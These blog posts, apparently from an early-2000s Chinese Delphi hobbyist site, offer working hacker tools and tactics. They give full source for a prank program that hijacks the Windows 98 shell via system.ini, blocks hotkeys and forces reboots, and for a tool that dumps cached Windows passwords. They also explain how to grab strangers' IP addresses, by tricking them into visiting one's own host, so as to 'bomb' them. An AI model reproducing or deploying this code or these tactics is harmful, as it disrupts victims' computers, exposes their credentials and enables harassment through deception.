我一直很困惑,為什麼一個簡單而且粗糙的程式居然流行開了,記得那是好幾個月前,和老孔雀無聊地聊天,實在找不到什麼興趣之後,突然想捉弄他一下,就一邊聊一邊做程式,很簡單的幾行程式碼幾分鐘就搞定,用一個Tinifiles搞定了windows的shell的外殼,一個關機命令,一個熱鍵遮蔽命令,一個timer來倒數延時,一個難看的窗體,組裝好了就發過去,就一直不見對方蹤影了,晚上看到傲氣的小鷹在QQ上,就懷著搞笑的心理髮給了他,於是就從傲氣開始了下載,這個無聊的軟體對一些懂得windows的人來說不構成危害,但是對一些剛剛接觸電腦的人,很可能造成對方重新安裝系統甚至去格式化硬碟,對此深表歉意。忘記了做成重啟動N次後自動恢復。但這個程式本身對資料不造成危害。windows和dos一樣,有個shell外殼,啟動的時候載入它,就是我們看到的介面,是必須的,和windows的啟動執行不一樣,是前提,所以很多朋友中了妖之吻之後,拼命改登錄檔,win.ini,都不行。而且不能刪除它,一旦刪除,win98就會藍屏報錯,提示請重新安裝。:-)
下面是程式的實現,這些程式碼與最初的程式碼有許多地方不一樣,還沒有完成。因為後來心血來潮想增加點東東,後來放棄了,畢竟還是無聊的東西。
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes,inifiles, Graphics, Controls,
Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons;
type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Timer2: TTimer;
Label2: TLabel;
SpeedButton1: TSpeedButton;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Timer2Timer(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
var
sysini:tinifile;//定一個ini,準備動手術
j,i:integer;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
exitwindowsex(ewx_reboot,0);//倒數時間到,關機羅!
end;
procedure TForm1.FormCreate(Sender: TObject);
var
hregion,wndHandle : THandle;
wndClass : array[0..50] of Char;
k:string;
begin
hregion:=createellipticrgn(14,200,350,14);//想畫個不規則窗體
setwindowrgn(handle,hregion,true);
StrPCopy(@wndClass[0], 'Shell_TrayWnd');
wndHandle := FindWindow(@wndClass[0], nil);
ShowWindow(wndHandle, SW_HIDE);
i:=60;
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
systemparametersinfo(97,1,nil,0);//遮蔽熱鍵
timer1.Enabled:=false;
sysini:=Tinifile.Create('system.ini');
k:=sysini.ReadString('boot','shell',k);//這裡準備做成啟動20次恢復,
if (k='explorer') or (k='explorer.exe') then
begin
sysini.WriteInteger('mci','mcicount',20);
sysini.WriteString('boot','shell',application.ExeName);//這裡用自己替換掉了shell
end
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
systemparametersinfo(97,0,nil,0);//取消遮蔽
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
i:=i-1;
label2.Caption:=inttostr(i);
if i=1 then
begin
timer2.Enabled:=false;
timer1.Enabled:=true;
j:=sysini.ReadInteger('mci','mcicount',j);
j:=j-1;
if j=1 then
begin
sysini.WriteString('boot','shell','explorer.exe');//當啟動滿了20次,恢復shell
end;
end;
end;
procedure TForm1.SpeedButton1Click(Sender: TObject);//除錯用的
begin
timer1.Enabled:=false;
timer2.Enabled:=false;
application.Terminate;
systemparametersinfo(97,1,nil,0);
end;
end.
還存在個問題,這個程式裡面的程式碼沒有遮蔽掉Alt+F4,可以更換成別的辦法。
10月23日
寫一個類PwView密碼檢視的程式
Thursday,Oct-26
不詳 [網路收集]
很多朋友用過pwview以及類似的軟體吧?一執行windows的密碼全找到了,這裡給一個原始碼,不是老妖寫的,是網上搜羅的,裡面的程式碼值得一學,為寫自己的hacker軟體積累點點滴滴..
unit Unit1;
interface
uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;
type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
Label1: TLabel;
Label2: TLabel;
procedure Label1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
end;
var
Form1: TForm1;
const
Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar;
dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var
WinPassword: TWinPassword;
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool;
stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize +
WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);
Form1.ListBox.Items.Add(Password);
Result := True;
end;
procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(GetDesktopWindow, 'open', 'http://wlhyy.126.com', nil, nil,
0);
end;
procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.',
'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add('No passwords found...');
end;
end.
大家來當灰客 (二)亂彈IP查詢
Thursday,Oct-26
千年老妖 [網路天地]
這個網路上最不缺的就是灰客,灰客們的話題永遠停留在怎麼怎麼查詢IP上面,為什麼了?因為有了IP,頓時天空都明朗了,IGMP炸彈..追捕..ICQ炸彈..木馬十八般武藝頓時有了用武之地。灰客們咬來嚼去的所謂之技術,其中所謂之查IP的技術,根本談不上是什麼技術,其實很簡單,就這麼幾個花樣...這裡慢慢拿出來晒晒太陽..
至於古老的從dos下面netstrat這裡就不談了,因為早有人做成了windows版本的。就目前最簡單最容易上手的方法和原理淺談一二,當然,如果你是在電信資料局工作,這個就免看了,去伺服器就搞定...
一個無聊的灰客最喜歡做什麼?這個還用說,炸人唄,極端無聊的灰客喜歡做什麼?找一段IP挨個炸,一個簡單的掃描器就行了,看看那些IP能ping通,稍微有點目標的話,用用追捕的月光搜尋,它的原理是利用netbios挨個掃描出一個網段上每個活動IP的計算機名,非常好用,我和幾個朋友在網路上自建三角州伺服器玩三角,他們怎麼找到我的IP呢?就用這個,也不用我挨個通知了,我的計算機名是wlhsoft,他們一掃描就知道了,很實用吧?用來快速準確查詢一個長期養馬的機器也特別方便。
當一個豪氣萬丈的灰客在聊天的時候,在泡MM的時候遇到了對手怎麼辦?當然是一擊必殺了,如果是在oicq上面就方便多了,此類炸彈軟體多如牛毛,oicq是基於UDP協議的聊天工具,協議的特性註定了安全性遠遠跟不上基於TCP/IP協議的工具,oicq的每條資訊都包含了你的IP地址,只需要把資料報截獲下來分析就知道了,做到程式裡面就成了灰客們常用的oicqIP查詢的工具,詳細做法另文再談。這是利用軟體的缺陷查IP。無需灰客動腦,一切搞定。
如果是在聊天室裡面怎麼辦?一個web聊天室如果在裡面沒有許可權,看不到IP是很痛苦的,如果這個聊天室支援html,就好辦了,我在delphi程式設計裡面的貼介紹了怎麼做一個IP獵人,就用它,用你自己製作的軟體來抓IP,原理不用多說了,看看那篇貼子就很明白了。只要你和對方的機器有個直接的訪問就可以了,用html程式碼讓對方的瀏覽器直接訪問自己的機器,預設80埠,發一個圖或者一個音樂,(img
src=http://你本機IP/xx.jpg)即可,這種方法很古老的,很多聊天室已經不能使用html了,但是又怎麼難得到技術高超的灰客呢?嘿嘿,變通一下,用花言巧語吧,欺騙對方來訪問你的IP,‘我找到一個好網站哦!!!'此類的話很容易吧?為了更像一點,乾脆去免費申請一個
yahoo.126.com的域名直接指向你的IP,嘿嘿,當然對方連線你,他的瀏覽器會看到'web地址已經找到’,但是無論如何也打不開了。這種方法是萬金油,到處都可以抹,只要你能言善騙,一臉無可挑剔的真誠,警惕性再高的人都會被你抓住.還有幾種小方法,比如利用訪問日誌,聊天室的bug把message.cgi打開了之類的,覺得沒多大意思,就上面的幾個小辦法足以滿足一個灰客的日常需要了。下次聊
怎樣用delphi製作一個IPhunter(獨孤劍客的IP獵人)
Thursday,Oct-26
千年老妖 [delphi程式設計技巧]
很多朋友用過獨孤劍客寫的IPhunter吧,它是利用在聊天室發圖片的原理查詢對方IP,其實不僅僅是聊天室,只要有人對你的機器存在訪問,就能夠抓到他的IP,甚至主機名,在老妖的軟體獵鹿人當中也利用了這個原理,在delphi中是很容易實現的,現在我們用delphi來做一個和IPhunter一模一樣的軟體。
有人說現在的程式設計師成了組裝工人,其實很有道理,利用控制元件模組+少量程式碼就可以實現,delphi
5.0提供了豐富的internet控制元件,利用TCP/IP
客戶端-服務端就可以解決問題。關鍵的控制元件是ServerSocket,我們模仿IPhunter的介面用一個button1(按鈕),一個combobox1(用於顯示),這三個最基本的控制元件放置到空白窗體上就可以開始寫程式碼了
。
首先,這個combobox1必須能顯示多個IP,我們定一個變數y來累加combobox1.items[y],
var y:integer;
我們的思路如下,當ServerSocket活動的port(埠)收到基於TCP/IP協議的連結請求時候,返回對方的IP值,傳遞給combobox顯示出來。由button1控制ServerSocket的啟用,也就是開啟關閉埠。
我們在ServerSocket的On ClientConnect事件中加入一下程式碼
procedure TForm1.ServerSocket11ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
combobox1.Items.Insert(y,'');//加入一條空紀錄
combobox1.Items[y]:=socket.RemoteAddress;//獲取對方的IP
label1.Text:='共捕獲'+inttostr(y+1)+'個IP';//用一個標籤來顯示一共抓了多少IP
y:=y+1;//計數變數加1
socket.Close;
end;
現在,將button1的caption屬性設定為 '開始',在它的單擊事件中加入以下程式碼
procedure TForm1.SpeedButton7Click(Sender: TObject);
begin
if speedbutton7.Caption='開始' then
begin
serversocket11.Port:=80;//這句可以在serversocket屬性中設定,捕獲瀏覽器的連線
ServerSocket11.Active:=true;//啟用埠
speedbutton7.Caption:='停止';
end
else
begin
serversocket11.Active:=false;//關閉埠
speedbutton7.Caption:='開始';
combobox1.Clear;//結束捕獲,清空歷史資訊
y:=0;//計數變數復位
end;
end;
現在一個IPhunter基本就可以使用了,這只是很簡單原型,加上您自己精心製作的介面,就是一個網路灰客工具了,這個功能也整合到了獵鹿人裡面,這裡說到的只是ServerSocket最基本的一點功能而已,加上ClientSocket就可以做一個聊天工具,只用ClientSocket可以做一個和代理獵手一樣的掃描軟體,這些在老妖以後的文章中陸續介紹。